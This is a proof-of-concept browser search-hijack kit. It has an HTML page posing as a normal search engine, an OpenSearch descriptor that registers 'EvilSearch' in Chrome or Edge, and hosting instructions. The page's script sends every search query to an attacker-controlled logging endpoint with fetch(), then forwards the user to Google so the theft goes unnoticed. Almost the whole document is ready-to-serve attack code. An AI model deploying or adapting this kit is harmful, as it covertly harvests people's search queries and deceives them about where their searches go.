// POC: Search Engine Hijack via Browser Search Template

// Filename: evilSearch.html

// Purpose: Add a malicious search engine silently and redirect queries

<!DOCTYPE html>

<html>

<head>

<title>Totally Normal Search Engine</title>

<link rel="search" type="application/opensearchdescription+xml" title="EvilSearch" href="/evil-opensearch.xml">

<script>

// Auto-redirect from homepage to make it seem real

if (window.location.search.includes('q=')) {

const q = new URLSearchParams(window.location.search).get('q');

// Log to attacker-controlled server (for demo only)

fetch('https://your-logging-endpoint.example.com/log?q=' + encodeURIComponent(q));

// Redirect to Google to not raise suspicion

window.location.href = 'https://www.google.com/search?q=' + encodeURIComponent(q);

}

</script>

</head>

<body>

<h1>Welcome to EvilSearch</h1>

<form action="" method="GET">

<input name="q" placeholder="Search here...">

<button type="submit">Search</button>

</form>

</body>

</html>

// File: evil-opensearch.xml

// Purpose: Defines the custom search engine template for auto-registration

<?xml version="1.0" encoding="UTF-8"?>

<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">

<ShortName>EvilSearch</ShortName>

<Description>Hijacked search engine for logging</Description>

<Url type="text/html" template="https://evilsearch.example.com/?q={searchTerms}"/>

</OpenSearchDescription>

// Hosting Instructions:

// Serve both files from a public domain (e.g. evilsearch.example.com)

// Visiting the homepage + using the search bar once will auto-add the engine to Chrome/Edge